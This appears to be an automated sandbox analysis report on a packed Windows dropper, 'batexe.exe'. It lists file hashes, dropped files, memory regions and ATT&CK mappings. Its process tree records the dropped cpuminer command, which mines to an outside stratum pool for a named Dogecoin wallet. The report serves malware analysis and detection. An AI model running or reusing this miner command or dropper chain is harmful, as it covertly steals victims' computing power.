73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
293s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
20/02/2024, 20:12

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3372	b2e.exe
2036	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2036	cpuminer-sse2.exe
2036	cpuminer-sse2.exe
2036	cpuminer-sse2.exe
2036	cpuminer-sse2.exe
2036	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2876-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 3372	2876	batexe.exe	74
PID 2876 wrote to memory of 3372	2876	batexe.exe	74
PID 2876 wrote to memory of 3372	2876	batexe.exe	74
PID 3372 wrote to memory of 1836	3372	b2e.exe	75
PID 3372 wrote to memory of 1836	3372	b2e.exe	75
PID 3372 wrote to memory of 1836	3372	b2e.exe	75
PID 1836 wrote to memory of 2036	1836	cmd.exe	78
PID 1836 wrote to memory of 2036	1836	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2876
- C:\Users\Admin\AppData\Local\Temp\9933.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9933.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9933.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9B07.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1836
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9933.tmp\b2e.exe

Filesize
512KB

MD5
e4d2817f5e794155ac4a8a1445b9d728

SHA1
07f6972ab84878cee3a3e158cf9b0b27c8ad175d

SHA256
24781b2a837565d59faae5eff35a839726a5aa2f952f46e5e5b593f53ab6774b

SHA512
9ed2839db8465f9eb07d9bb2d29e1a35cc1c2e0b8c8f52007248752df018c899135e6d3f944e7e1363b3d5fe4928ccb71725fcaafedfd3cd496307619cf164f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\9933.tmp\b2e.exe

Filesize
11.8MB

MD5
c19535197d87e6ef5124b2a1def5d292

SHA1
3cfe7a5fe50a2abc7f8453d3dff7526cb3ae0166

SHA256
db5cddb7453909774fe032243c8f139fb9e67860b6176169d52d697216a6841a

SHA512
06c4a32ebc0eff57490f029e22da4b6bd51998e0609a80cdc745531e0a25e956685b3071d0b69674ac7ada4d5ac4933103ce5b3fd93c8f16d7f8d88642080ad2

Download Submit
C:\Users\Admin\AppData\Local\Temp\9B07.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.6MB

MD5
34a3cae80539fe671bf65222ebbfa60b

SHA1
5fc0ab7e2d3785c2ba053ac0980468a6de4635e5

SHA256
cc56c6f7e7cdc2fb1575a25c8bc8f4b526ffcfac984fe5507f063a4e9c81fe90

SHA512
3b8840983735ec7380dcd100c9b8fd77b48b2a234c2fe3f18e86bcfad90b9f64dcdb11b1217c9f22c5cf821314f67b04c2885746c85a02ffa5628c44e8418835

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.5MB

MD5
0e0f14bca16bed22441894303f16b01f

SHA1
eda279a057e862c4926d05bcfd39033b8d1c5203

SHA256
31cf129d75cb584bc4bdcbffa619d0bc8e793a47bc2f8e5d4513aea788084a9c

SHA512
25e0712eb2bc883868576c82ebc3e23c4fb5f56ca071ce42d76948d17c10ccbade2c21d38c5a7f347a7ee3aa656ee4d81d9058286be642a5cc1c705af762dec1

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.6MB

MD5
464e13ee93cf54f4c081e539e0a3d018

SHA1
5092b2c7e35fd2b6d3572d1a5ca0447e862e0ef2

SHA256
0d61d72afff0b9536b626cc1f57f5b24c4e508b7467141080911bdd3d6ad40dd

SHA512
14c07ff7ba1a5e85b97883a821515bc1b9b51c04988ffad9688cf7031a9e166c151233e78604f11ae757e92bb0554a22c6e71ac67952f64230eb45eaedd08ca3

Download Submit
memory/2036-43-0x000000006B2E0000-0x000000006B378000-memory.dmp

Filesize
608KB

Download
memory/2036-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2036-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2036-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2036-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2036-44-0x0000000001030000-0x00000000028E5000-memory.dmp

Filesize
24.7MB

Download
memory/2036-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2036-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2036-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2036-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2036-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2036-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2036-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2036-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2036-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2876-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3372-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3372-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download